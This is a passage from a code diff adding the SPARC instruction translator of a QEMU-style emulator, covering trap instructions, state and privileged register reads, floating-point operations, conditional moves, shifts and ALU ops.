TCGv_i32 trap; + int l1 = -1, mask; + + if (cond == 0) { + /* Trap never. */ + break; + } + + save_state(dc); + + if (cond != 8) { + /* Conditional trap. */ + DisasCompare cmp; +#ifdef TARGET_SPARC64 + /* V9 icc/xcc */ + int cc = GET_FIELD_SP(insn, 11, 12); + if (cc == 0) { + gen_compare(dc, &cmp, 0, cond); + } else if (cc == 2) { + gen_compare(dc, &cmp, 1, cond); + } else { + goto illegal_insn; + } +#else + gen_compare(dc, &cmp, 0, cond); +#endif + l1 = gen_new_label(tcg_ctx); + tcg_gen_brcond_tl(tcg_ctx, tcg_invert_cond(cmp.cond), + cmp.c1, cmp.c2, l1); + free_compare(tcg_ctx, &cmp); + } + + mask = ((dc->def->features & CPU_FEATURE_HYPV) && supervisor(dc) + ? UA2005_HTRAP_MASK : V8_TRAP_MASK); + + /* Don't use the normal temporaries, as they may well have + gone out of scope with the branch above. While we're + doing that we might as well pre-truncate to 32-bit. */ + trap = tcg_temp_new_i32(tcg_ctx); + + rs1 = GET_FIELD_SP(insn, 14, 18); + if (IS_IMM) { + rs2 = GET_FIELD_SP(insn, 0, 6); + if (rs1 == 0) { + tcg_gen_movi_i32(tcg_ctx, trap, (rs2 & mask) + TT_TRAP); + /* Signal that the trap value is fully constant. */ + mask = 0; + } else { + TCGv t1 = gen_load_gpr(dc, rs1); + tcg_gen_trunc_tl_i32(tcg_ctx, trap, t1); + tcg_gen_addi_i32(tcg_ctx, trap, trap, rs2); + } + } else { + TCGv t1, t2; + rs2 = GET_FIELD_SP(insn, 0, 4); + t1 = gen_load_gpr(dc, rs1); + t2 = gen_load_gpr(dc, rs2); + tcg_gen_add_tl(tcg_ctx, t1, t1, t2); + tcg_gen_trunc_tl_i32(tcg_ctx, trap, t1); + } + if (mask != 0) { + tcg_gen_andi_i32(tcg_ctx, trap, trap, mask); + tcg_gen_addi_i32(tcg_ctx, trap, trap, TT_TRAP); + } + + gen_helper_raise_exception(tcg_ctx, tcg_ctx->cpu_env, trap); + tcg_temp_free_i32(tcg_ctx, trap); + + if (cond == 8) { + /* An unconditional trap ends the TB. */ + dc->is_br = 1; + goto jmp_insn; + } else { + /* A conditional trap falls through to the next insn. */ + gen_set_label(tcg_ctx, l1); + break; + } + } else if (xop == 0x28) { + rs1 = GET_FIELD(insn, 13, 17); + switch(rs1) { + case 0: /* rdy */ +#ifndef TARGET_SPARC64 + /* undefined in the SPARCv8 manual, rdy on the microSPARC II */ + case 0x01: case 0x02: case 0x03: case 0x04: case 0x05: case 0x06: case 0x07: + case 0x08: case 0x09: case 0x0a: case 0x0b: case 0x0c: case 0x0d: case 0x0e: + /* stbar in the SPARCv8 manual, rdy on the microSPARC II */ + case 0x0f: + /* implementation-dependent in the SPARCv8 manual, rdy on the microSPARC II */ + case 0x10: case 0x11: case 0x12: case 0x13: case 0x14: case 0x15: case 0x16: case 0x17: + case 0x18: case 0x19: case 0x1a: case 0x1b: case 0x1c: case 0x1d: case 0x1e: case 0x1f: + /* Read Asr17 */ + if (rs1 == 0x11 && dc->def->features & CPU_FEATURE_ASR17) { + TCGv t = gen_dest_gpr(dc, rd); + /* Read Asr17 for a Leon3 monoprocessor */ + tcg_gen_movi_tl(tcg_ctx, t, (1 << 8) | (dc->def->nwindows - 1)); + gen_store_gpr(dc, rd, t); + break; + } +#endif + gen_store_gpr(dc, rd, *(TCGv *)tcg_ctx->cpu_y); + break; +#ifdef TARGET_SPARC64 + case 0x2: /* V9 rdccr */ + update_psr(dc); + gen_helper_rdccr(tcg_ctx, cpu_dst, tcg_ctx->cpu_env); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x3: /* V9 rdasi */ + tcg_gen_ext_i32_tl(tcg_ctx, cpu_dst, tcg_ctx->cpu_asi); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x4: /* V9 rdtick */ + { + TCGv_ptr r_tickptr; + + r_tickptr = tcg_temp_new_ptr(tcg_ctx); + tcg_gen_ld_ptr(tcg_ctx, r_tickptr, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, tick)); + gen_helper_tick_get_count(tcg_ctx, cpu_dst, r_tickptr); + tcg_temp_free_ptr(tcg_ctx, r_tickptr); + gen_store_gpr(dc, rd, cpu_dst); + } + break; + case 0x5: /* V9 rdpc */ + { + TCGv t = gen_dest_gpr(dc, rd); + if (unlikely(AM_CHECK(dc))) { + tcg_gen_movi_tl(tcg_ctx, t, dc->pc & 0xffffffffULL); + } else { + tcg_gen_movi_tl(tcg_ctx, t, dc->pc); + } + gen_store_gpr(dc, rd, t); + } + break; + case 0x6: /* V9 rdfprs */ + tcg_gen_ext_i32_tl(tcg_ctx, cpu_dst, tcg_ctx->cpu_fprs); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0xf: /* V9 membar */ + break; /* no effect */ + case 0x13: /* Graphics Status */ + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + gen_store_gpr(dc, rd, *(TCGv *)tcg_ctx->cpu_gsr); + break; + case 0x16: /* Softint */ + tcg_gen_ext_i32_tl(tcg_ctx, cpu_dst, tcg_ctx->cpu_softint); + gen_store_gpr(dc, rd, cpu_dst); + break; + case 0x17: /* Tick compare */ + gen_store_gpr(dc, rd, *(TCGv *)tcg_ctx->cpu_tick_cmpr); + break; + case 0x18: /* System tick */ + { + TCGv_ptr r_tickptr; + + r_tickptr = tcg_temp_new_ptr(tcg_ctx); + tcg_gen_ld_ptr(tcg_ctx, r_tickptr, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, stick)); + gen_helper_tick_get_count(tcg_ctx, cpu_dst, r_tickptr); + tcg_temp_free_ptr(tcg_ctx, r_tickptr); + gen_store_gpr(dc, rd, cpu_dst); + } + break; + case 0x19: /* System tick compare */ + gen_store_gpr(dc, rd, *(TCGv *)tcg_ctx->cpu_stick_cmpr); + break; + case 0x10: /* Performance Control */ + case 0x11: /* Performance Instrumentation Counter */ + case 0x12: /* Dispatch Control */ + case 0x14: /* Softint set, WO */ + case 0x15: /* Softint clear, WO */ +#endif + default: + goto illegal_insn; + } +#if !defined(CONFIG_USER_ONLY) + } else if (xop == 0x29) { /* rdpsr / UA2005 rdhpr */ +#ifndef TARGET_SPARC64 + if (!supervisor(dc)) { + goto priv_insn; + } + update_psr(dc); + gen_helper_rdpsr(tcg_ctx, cpu_dst, tcg_ctx->cpu_env); +#else + CHECK_IU_FEATURE(dc, HYPV); + if (!hypervisor(dc)) + goto priv_insn; + rs1 = GET_FIELD(insn, 13, 17); + switch (rs1) { + case 0: // hpstate + // gen_op_rdhpstate(); + break; + case 1: // htstate + // gen_op_rdhtstate(); + break; + case 3: // hintp + tcg_gen_mov_tl(tcg_ctx, cpu_dst, *(TCGv *)tcg_ctx->cpu_hintp); + break; + case 5: // htba + tcg_gen_mov_tl(tcg_ctx, cpu_dst, *(TCGv *)tcg_ctx->cpu_htba); + break; + case 6: // hver + tcg_gen_mov_tl(tcg_ctx, cpu_dst, *(TCGv *)tcg_ctx->cpu_hver); + break; + case 31: // hstick_cmpr + tcg_gen_mov_tl(tcg_ctx, cpu_dst, *(TCGv *)tcg_ctx->cpu_hstick_cmpr); + break; + default: + goto illegal_insn; + } +#endif + gen_store_gpr(dc, rd, cpu_dst); + break; + } else if (xop == 0x2a) { /* rdwim / V9 rdpr */ + if (!supervisor(dc)) { + goto priv_insn; + } + cpu_tmp0 = get_temp_tl(dc); +#ifdef TARGET_SPARC64 + rs1 = GET_FIELD(insn, 13, 17); + switch (rs1) { + case 0: // tpc + { + TCGv_ptr r_tsptr; + + r_tsptr = tcg_temp_new_ptr(tcg_ctx); + gen_load_trap_state_at_tl(dc, r_tsptr, tcg_ctx->cpu_env); + tcg_gen_ld_tl(tcg_ctx, cpu_tmp0, r_tsptr, + offsetof(trap_state, tpc)); + tcg_temp_free_ptr(tcg_ctx, r_tsptr); + } + break; + case 1: // tnpc + { + TCGv_ptr r_tsptr; + + r_tsptr = tcg_temp_new_ptr(tcg_ctx); + gen_load_trap_state_at_tl(dc, r_tsptr, tcg_ctx->cpu_env); + tcg_gen_ld_tl(tcg_ctx, cpu_tmp0, r_tsptr, + offsetof(trap_state, tnpc)); + tcg_temp_free_ptr(tcg_ctx, r_tsptr); + } + break; + case 2: // tstate + { + TCGv_ptr r_tsptr; + + r_tsptr = tcg_temp_new_ptr(tcg_ctx); + gen_load_trap_state_at_tl(dc, r_tsptr, tcg_ctx->cpu_env); + tcg_gen_ld_tl(tcg_ctx, cpu_tmp0, r_tsptr, + offsetof(trap_state, tstate)); + tcg_temp_free_ptr(tcg_ctx, r_tsptr); + } + break; + case 3: // tt + { + TCGv_ptr r_tsptr = tcg_temp_new_ptr(tcg_ctx); + + gen_load_trap_state_at_tl(dc, r_tsptr, tcg_ctx->cpu_env); + tcg_gen_ld32s_tl(tcg_ctx, cpu_tmp0, r_tsptr, + offsetof(trap_state, tt)); + tcg_temp_free_ptr(tcg_ctx, r_tsptr); + } + break; + case 4: // tick + { + TCGv_ptr r_tickptr; + + r_tickptr = tcg_temp_new_ptr(tcg_ctx); + tcg_gen_ld_ptr(tcg_ctx, r_tickptr, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, tick)); + gen_helper_tick_get_count(tcg_ctx, cpu_tmp0, r_tickptr); + tcg_temp_free_ptr(tcg_ctx, r_tickptr); + } + break; + case 5: // tba + tcg_gen_mov_tl(tcg_ctx, cpu_tmp0, *(TCGv *)tcg_ctx->cpu_tbr); + break; + case 6: // pstate + tcg_gen_ld32s_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, pstate)); + break; + case 7: // tl + tcg_gen_ld32s_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, tl)); + break; + case 8: // pil + tcg_gen_ld32s_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, psrpil)); + break; + case 9: // cwp + gen_helper_rdcwp(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env); + break; + case 10: // cansave + tcg_gen_ld32s_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, cansave)); + break; + case 11: // canrestore + tcg_gen_ld32s_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, canrestore)); + break; + case 12: // cleanwin + tcg_gen_ld32s_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, cleanwin)); + break; + case 13: // otherwin + tcg_gen_ld32s_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, otherwin)); + break; + case 14: // wstate + tcg_gen_ld32s_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, wstate)); + break; + case 16: // UA2005 gl + CHECK_IU_FEATURE(dc, GL); + tcg_gen_ld32s_tl(tcg_ctx, cpu_tmp0, tcg_ctx->cpu_env, + offsetof(CPUSPARCState, gl)); + break; + case 26: // UA2005 strand status + CHECK_IU_FEATURE(dc, HYPV); + if (!hypervisor(dc)) + goto priv_insn; + tcg_gen_mov_tl(tcg_ctx, cpu_tmp0, *(TCGv *)tcg_ctx->cpu_ssr); + break; + case 31: // ver + tcg_gen_mov_tl(tcg_ctx, cpu_tmp0, *(TCGv *)tcg_ctx->cpu_ver); + break; + case 15: // fq + default: + goto illegal_insn; + } +#else + tcg_gen_ext_i32_tl(tcg_ctx, cpu_tmp0, *(TCGv *)tcg_ctx->cpu_wim); +#endif + gen_store_gpr(dc, rd, cpu_tmp0); + break; + } else if (xop == 0x2b) { /* rdtbr / V9 flushw */ +#ifdef TARGET_SPARC64 + save_state(dc); + gen_helper_flushw(tcg_ctx, tcg_ctx->cpu_env); +#else + if (!supervisor(dc)) + goto priv_insn; + gen_store_gpr(dc, rd, *(TCGv *)tcg_ctx->cpu_tbr); +#endif + break; +#endif + } else if (xop == 0x34) { /* FPU Operations */ + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + gen_op_clear_ieee_excp_and_FTT(dc); + rs1 = GET_FIELD(insn, 13, 17); + rs2 = GET_FIELD(insn, 27, 31); + xop = GET_FIELD(insn, 18, 26); + save_state(dc); + switch (xop) { + case 0x1: /* fmovs */ + cpu_src1_32 = gen_load_fpr_F(dc, rs2); + gen_store_fpr_F(dc, rd, cpu_src1_32); + break; + case 0x5: /* fnegs */ + gen_ne_fop_FF(dc, rd, rs2, gen_helper_fnegs); + break; + case 0x9: /* fabss */ + gen_ne_fop_FF(dc, rd, rs2, gen_helper_fabss); + break; + case 0x29: /* fsqrts */ + CHECK_FPU_FEATURE(dc, FSQRT); + gen_fop_FF(dc, rd, rs2, gen_helper_fsqrts); + break; + case 0x2a: /* fsqrtd */ + CHECK_FPU_FEATURE(dc, FSQRT); + gen_fop_DD(dc, rd, rs2, gen_helper_fsqrtd); + break; + case 0x2b: /* fsqrtq */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_fop_QQ(dc, rd, rs2, gen_helper_fsqrtq); + break; + case 0x41: /* fadds */ + gen_fop_FFF(dc, rd, rs1, rs2, gen_helper_fadds); + break; + case 0x42: /* faddd */ + gen_fop_DDD(dc, rd, rs1, rs2, gen_helper_faddd); + break; + case 0x43: /* faddq */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_fop_QQQ(dc, rd, rs1, rs2, gen_helper_faddq); + break; + case 0x45: /* fsubs */ + gen_fop_FFF(dc, rd, rs1, rs2, gen_helper_fsubs); + break; + case 0x46: /* fsubd */ + gen_fop_DDD(dc, rd, rs1, rs2, gen_helper_fsubd); + break; + case 0x47: /* fsubq */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_fop_QQQ(dc, rd, rs1, rs2, gen_helper_fsubq); + break; + case 0x49: /* fmuls */ + CHECK_FPU_FEATURE(dc, FMUL); + gen_fop_FFF(dc, rd, rs1, rs2, gen_helper_fmuls); + break; + case 0x4a: /* fmuld */ + CHECK_FPU_FEATURE(dc, FMUL); + gen_fop_DDD(dc, rd, rs1, rs2, gen_helper_fmuld); + break; + case 0x4b: /* fmulq */ + CHECK_FPU_FEATURE(dc, FLOAT128); + CHECK_FPU_FEATURE(dc, FMUL); + gen_fop_QQQ(dc, rd, rs1, rs2, gen_helper_fmulq); + break; + case 0x4d: /* fdivs */ + gen_fop_FFF(dc, rd, rs1, rs2, gen_helper_fdivs); + break; + case 0x4e: /* fdivd */ + gen_fop_DDD(dc, rd, rs1, rs2, gen_helper_fdivd); + break; + case 0x4f: /* fdivq */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_fop_QQQ(dc, rd, rs1, rs2, gen_helper_fdivq); + break; + case 0x69: /* fsmuld */ + CHECK_FPU_FEATURE(dc, FSMULD); + gen_fop_DFF(dc, rd, rs1, rs2, gen_helper_fsmuld); + break; + case 0x6e: /* fdmulq */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_fop_QDD(dc, rd, rs1, rs2, gen_helper_fdmulq); + break; + case 0xc4: /* fitos */ + gen_fop_FF(dc, rd, rs2, gen_helper_fitos); + break; + case 0xc6: /* fdtos */ + gen_fop_FD(dc, rd, rs2, gen_helper_fdtos); + break; + case 0xc7: /* fqtos */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_fop_FQ(dc, rd, rs2, gen_helper_fqtos); + break; + case 0xc8: /* fitod */ + gen_ne_fop_DF(dc, rd, rs2, gen_helper_fitod); + break; + case 0xc9: /* fstod */ + gen_ne_fop_DF(dc, rd, rs2, gen_helper_fstod); + break; + case 0xcb: /* fqtod */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_fop_DQ(dc, rd, rs2, gen_helper_fqtod); + break; + case 0xcc: /* fitoq */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_ne_fop_QF(dc, rd, rs2, gen_helper_fitoq); + break; + case 0xcd: /* fstoq */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_ne_fop_QF(dc, rd, rs2, gen_helper_fstoq); + break; + case 0xce: /* fdtoq */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_ne_fop_QD(dc, rd, rs2, gen_helper_fdtoq); + break; + case 0xd1: /* fstoi */ + gen_fop_FF(dc, rd, rs2, gen_helper_fstoi); + break; + case 0xd2: /* fdtoi */ + gen_fop_FD(dc, rd, rs2, gen_helper_fdtoi); + break; + case 0xd3: /* fqtoi */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_fop_FQ(dc, rd, rs2, gen_helper_fqtoi); + break; +#ifdef TARGET_SPARC64 + case 0x2: /* V9 fmovd */ + cpu_src1_64 = gen_load_fpr_D(dc, rs2); + gen_store_fpr_D(dc, rd, cpu_src1_64); + break; + case 0x3: /* V9 fmovq */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_move_Q(dc, rd, rs2); + break; + case 0x6: /* V9 fnegd */ + gen_ne_fop_DD(dc, rd, rs2, gen_helper_fnegd); + break; + case 0x7: /* V9 fnegq */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_ne_fop_QQ(dc, rd, rs2, gen_helper_fnegq); + break; + case 0xa: /* V9 fabsd */ + gen_ne_fop_DD(dc, rd, rs2, gen_helper_fabsd); + break; + case 0xb: /* V9 fabsq */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_ne_fop_QQ(dc, rd, rs2, gen_helper_fabsq); + break; + case 0x81: /* V9 fstox */ + gen_fop_DF(dc, rd, rs2, gen_helper_fstox); + break; + case 0x82: /* V9 fdtox */ + gen_fop_DD(dc, rd, rs2, gen_helper_fdtox); + break; + case 0x83: /* V9 fqtox */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_fop_DQ(dc, rd, rs2, gen_helper_fqtox); + break; + case 0x84: /* V9 fxtos */ + gen_fop_FD(dc, rd, rs2, gen_helper_fxtos); + break; + case 0x88: /* V9 fxtod */ + gen_fop_DD(dc, rd, rs2, gen_helper_fxtod); + break; + case 0x8c: /* V9 fxtoq */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_ne_fop_QD(dc, rd, rs2, gen_helper_fxtoq); + break; +#endif + default: + goto illegal_insn; + } + } else if (xop == 0x35) { /* FPU Operations */ +#ifdef TARGET_SPARC64 + int cond; +#endif + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + gen_op_clear_ieee_excp_and_FTT(dc); + rs1 = GET_FIELD(insn, 13, 17); + rs2 = GET_FIELD(insn, 27, 31); + xop = GET_FIELD(insn, 18, 26); + save_state(dc); + +#ifdef TARGET_SPARC64 +#define FMOVR(sz) \ + do { \ + DisasCompare cmp; \ + cond = GET_FIELD_SP(insn, 10, 12); \ + cpu_src1 = get_src1(dc, insn); \ + gen_compare_reg(dc, &cmp, cond, cpu_src1); \ + gen_fmov##sz(dc, &cmp, rd, rs2); \ + free_compare(tcg_ctx, &cmp); \ + } while (0) + + if ((xop & 0x11f) == 0x005) { /* V9 fmovsr */ + FMOVR(s); + break; + } else if ((xop & 0x11f) == 0x006) { // V9 fmovdr + FMOVR(d); + break; + } else if ((xop & 0x11f) == 0x007) { // V9 fmovqr + CHECK_FPU_FEATURE(dc, FLOAT128); + FMOVR(q); + break; + } +#undef FMOVR +#endif + switch (xop) { +#ifdef TARGET_SPARC64 +#define FMOVCC(fcc, sz) \ + do { \ + DisasCompare cmp; \ + cond = GET_FIELD_SP(insn, 14, 17); \ + gen_fcompare(dc, &cmp, fcc, cond); \ + gen_fmov##sz(dc, &cmp, rd, rs2); \ + free_compare(tcg_ctx, &cmp); \ + } while (0) + + case 0x001: /* V9 fmovscc %fcc0 */ + FMOVCC(0, s); + break; + case 0x002: /* V9 fmovdcc %fcc0 */ + FMOVCC(0, d); + break; + case 0x003: /* V9 fmovqcc %fcc0 */ + CHECK_FPU_FEATURE(dc, FLOAT128); + FMOVCC(0, q); + break; + case 0x041: /* V9 fmovscc %fcc1 */ + FMOVCC(1, s); + break; + case 0x042: /* V9 fmovdcc %fcc1 */ + FMOVCC(1, d); + break; + case 0x043: /* V9 fmovqcc %fcc1 */ + CHECK_FPU_FEATURE(dc, FLOAT128); + FMOVCC(1, q); + break; + case 0x081: /* V9 fmovscc %fcc2 */ + FMOVCC(2, s); + break; + case 0x082: /* V9 fmovdcc %fcc2 */ + FMOVCC(2, d); + break; + case 0x083: /* V9 fmovqcc %fcc2 */ + CHECK_FPU_FEATURE(dc, FLOAT128); + FMOVCC(2, q); + break; + case 0x0c1: /* V9 fmovscc %fcc3 */ + FMOVCC(3, s); + break; + case 0x0c2: /* V9 fmovdcc %fcc3 */ + FMOVCC(3, d); + break; + case 0x0c3: /* V9 fmovqcc %fcc3 */ + CHECK_FPU_FEATURE(dc, FLOAT128); + FMOVCC(3, q); + break; +#undef FMOVCC +#define FMOVCC(xcc, sz) \ + do { \ + DisasCompare cmp; \ + cond = GET_FIELD_SP(insn, 14, 17); \ + gen_compare(dc, &cmp, xcc, cond); \ + gen_fmov##sz(dc, &cmp, rd, rs2); \ + free_compare(tcg_ctx, &cmp); \ + } while (0) + + case 0x101: /* V9 fmovscc %icc */ + FMOVCC(0, s); + break; + case 0x102: /* V9 fmovdcc %icc */ + FMOVCC(0, d); + break; + case 0x103: /* V9 fmovqcc %icc */ + CHECK_FPU_FEATURE(dc, FLOAT128); + FMOVCC(0, q); + break; + case 0x181: /* V9 fmovscc %xcc */ + FMOVCC(1, s); + break; + case 0x182: /* V9 fmovdcc %xcc */ + FMOVCC(1, d); + break; + case 0x183: /* V9 fmovqcc %xcc */ + CHECK_FPU_FEATURE(dc, FLOAT128); + FMOVCC(1, q); + break; +#undef FMOVCC +#endif + case 0x51: /* fcmps, V9 %fcc */ + cpu_src1_32 = gen_load_fpr_F(dc, rs1); + cpu_src2_32 = gen_load_fpr_F(dc, rs2); + gen_op_fcmps(dc, rd & 3, cpu_src1_32, cpu_src2_32); + break; + case 0x52: /* fcmpd, V9 %fcc */ + cpu_src1_64 = gen_load_fpr_D(dc, rs1); + cpu_src2_64 = gen_load_fpr_D(dc, rs2); + gen_op_fcmpd(dc, rd & 3, cpu_src1_64, cpu_src2_64); + break; + case 0x53: /* fcmpq, V9 %fcc */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_op_load_fpr_QT0(dc, QFPREG(rs1)); + gen_op_load_fpr_QT1(dc, QFPREG(rs2)); + gen_op_fcmpq(dc, rd & 3); + break; + case 0x55: /* fcmpes, V9 %fcc */ + cpu_src1_32 = gen_load_fpr_F(dc, rs1); + cpu_src2_32 = gen_load_fpr_F(dc, rs2); + gen_op_fcmpes(dc, rd & 3, cpu_src1_32, cpu_src2_32); + break; + case 0x56: /* fcmped, V9 %fcc */ + cpu_src1_64 = gen_load_fpr_D(dc, rs1); + cpu_src2_64 = gen_load_fpr_D(dc, rs2); + gen_op_fcmped(dc, rd & 3, cpu_src1_64, cpu_src2_64); + break; + case 0x57: /* fcmpeq, V9 %fcc */ + CHECK_FPU_FEATURE(dc, FLOAT128); + gen_op_load_fpr_QT0(dc, QFPREG(rs1)); + gen_op_load_fpr_QT1(dc, QFPREG(rs2)); + gen_op_fcmpeq(dc, rd & 3); + break; + default: + goto illegal_insn; + } + } else if (xop == 0x2) { + TCGv dst = gen_dest_gpr(dc, rd); + rs1 = GET_FIELD(insn, 13, 17); + if (rs1 == 0) { + /* clr/mov shortcut : or %g0, x, y -> mov x, y */ + if (IS_IMM) { /* immediate */ + simm = GET_FIELDs(insn, 19, 31); + tcg_gen_movi_tl(tcg_ctx, dst, simm); + gen_store_gpr(dc, rd, dst); + } else { /* register */ + rs2 = GET_FIELD(insn, 27, 31); + if (rs2 == 0) { + tcg_gen_movi_tl(tcg_ctx, dst, 0); + gen_store_gpr(dc, rd, dst); + } else { + cpu_src2 = gen_load_gpr(dc, rs2); + gen_store_gpr(dc, rd, cpu_src2); + } + } + } else { + cpu_src1 = get_src1(dc, insn); + if (IS_IMM) { /* immediate */ + simm = GET_FIELDs(insn, 19, 31); + tcg_gen_ori_tl(tcg_ctx, dst, cpu_src1, simm); + gen_store_gpr(dc, rd, dst); + } else { /* register */ + rs2 = GET_FIELD(insn, 27, 31); + if (rs2 == 0) { + /* mov shortcut: or x, %g0, y -> mov x, y */ + gen_store_gpr(dc, rd, cpu_src1); + } else { + cpu_src2 = gen_load_gpr(dc, rs2); + tcg_gen_or_tl(tcg_ctx, dst, cpu_src1, cpu_src2); + gen_store_gpr(dc, rd, dst); + } + } + } +#ifdef TARGET_SPARC64 + } else if (xop == 0x25) { /* sll, V9 sllx */ + cpu_src1 = get_src1(dc, insn); + if (IS_IMM) { /* immediate */ + simm = GET_FIELDs(insn, 20, 31); + if (insn & (1 << 12)) { + tcg_gen_shli_i64(tcg_ctx, cpu_dst, cpu_src1, simm & 0x3f); + } else { + tcg_gen_shli_i64(tcg_ctx, cpu_dst, cpu_src1, simm & 0x1f); + } + } else { /* register */ + rs2 = GET_FIELD(insn, 27, 31); + cpu_src2 = gen_load_gpr(dc, rs2); + cpu_tmp0 = get_temp_tl(dc); + if (insn & (1 << 12)) { + tcg_gen_andi_i64(tcg_ctx, cpu_tmp0, cpu_src2, 0x3f); + } else { + tcg_gen_andi_i64(tcg_ctx, cpu_tmp0, cpu_src2, 0x1f); + } + tcg_gen_shl_i64(tcg_ctx, cpu_dst, cpu_src1, cpu_tmp0); + } + gen_store_gpr(dc, rd, cpu_dst); + } else if (xop == 0x26) { /* srl, V9 srlx */ + cpu_src1 = get_src1(dc, insn); + if (IS_IMM) { /* immediate */ + simm = GET_FIELDs(insn, 20, 31); + if (insn & (1 << 12)) { + tcg_gen_shri_i64(tcg_ctx, cpu_dst, cpu_src1, simm & 0x3f); + } else { + tcg_gen_andi_i64(tcg_ctx, cpu_dst, cpu_src1, 0xffffffffULL); + tcg_gen_shri_i64(tcg_ctx, cpu_dst, cpu_dst, simm & 0x1f); + } + } else { /* register */ + rs2 = GET_FIELD(insn, 27, 31); + cpu_src2 = gen_load_gpr(dc, rs2); + cpu_tmp0 = get_temp_tl(dc); + if (insn & (1 << 12)) { + tcg_gen_andi_i64(tcg_ctx, cpu_tmp0, cpu_src2, 0x3f); + tcg_gen_shr_i64(tcg_ctx, cpu_dst, cpu_src1, cpu_tmp0); + } else { + tcg_gen_andi_i64(tcg_ctx, cpu_tmp0, cpu_src2, 0x1f); + tcg_gen_andi_i64(tcg_ctx, cpu_dst, cpu_src1, 0xffffffffULL); + tcg_gen_shr_i64(tcg_ctx, cpu_dst, cpu_dst, cpu_tmp0); + } + } + gen_store_gpr(dc, rd, cpu_dst); + } else if (xop == 0x27) { /* sra, V9 srax */ + cpu_src1 = get_src1(dc, insn); + if (IS_IMM) { /* immediate */ + simm = GET_FIELDs(insn, 20, 31); + if (insn & (1 << 12)) { + tcg_gen_sari_i64(tcg_ctx, cpu_dst, cpu_src1, simm & 0x3f); + } else { + tcg_gen_ext32s_i64(tcg_ctx, cpu_dst, cpu_src1); + tcg_gen_sari_i64(tcg_ctx, cpu_dst, cpu_dst, simm & 0x1f); + } + } else { /* register */ + rs2 = GET_FIELD(insn, 27, 31); + cpu_src2 = gen_load_gpr(dc, rs2); + cpu_tmp0 = get_temp_tl(dc); + if (insn & (1 << 12)) { + tcg_gen_andi_i64(tcg_ctx, cpu_tmp0, cpu_src2, 0x3f); + tcg_gen_sar_i64(tcg_ctx, cpu_dst, cpu_src1, cpu_tmp0); + } else { + tcg_gen_andi_i64(tcg_ctx, cpu_tmp0, cpu_src2, 0x1f); + tcg_gen_ext32s_i64(tcg_ctx, cpu_dst, cpu_src1); + tcg_gen_sar_i64(tcg_ctx, cpu_dst, cpu_dst, cpu_tmp0); + } + } + gen_store_gpr(dc, rd, cpu_dst); +#endif + } else if (xop < 0x36) { + if (xop < 0x20) { + cpu_src1 = get_src1(dc, insn); + cpu_src2 = get_src2(dc, insn); + switch (xop & ~0x10) { + case 0x0: /* add */ + if (xop & 0x10) { + gen_op_add_cc(dc, cpu_dst, cpu_src1, cpu_src2); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_ADD); + dc->cc_op = CC_OP_ADD; + } else { + tcg_gen_add_tl(tcg_ctx, cpu_dst, cpu_src1, cpu_src2); + } + break; + case 0x1: /* and */ + tcg_gen_and_tl(tcg_ctx, cpu_dst, cpu_src1, cpu_src2); + if (xop & 0x10) { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, cpu_dst); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_LOGIC); + dc->cc_op = CC_OP_LOGIC; + } + break; + case 0x2: /* or */ + tcg_gen_or_tl(tcg_ctx, cpu_dst, cpu_src1, cpu_src2); + if (xop & 0x10) { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, cpu_dst); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_LOGIC); + dc->cc_op = CC_OP_LOGIC; + } + break; + case 0x3: /* xor */ + tcg_gen_xor_tl(tcg_ctx, cpu_dst, cpu_src1, cpu_src2); + if (xop & 0x10) { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, cpu_dst); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_LOGIC); + dc->cc_op = CC_OP_LOGIC; + } + break; + case 0x4: /* sub */ + if (xop & 0x10) { + gen_op_sub_cc(dc, cpu_dst, cpu_src1, cpu_src2); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_SUB); + dc->cc_op = 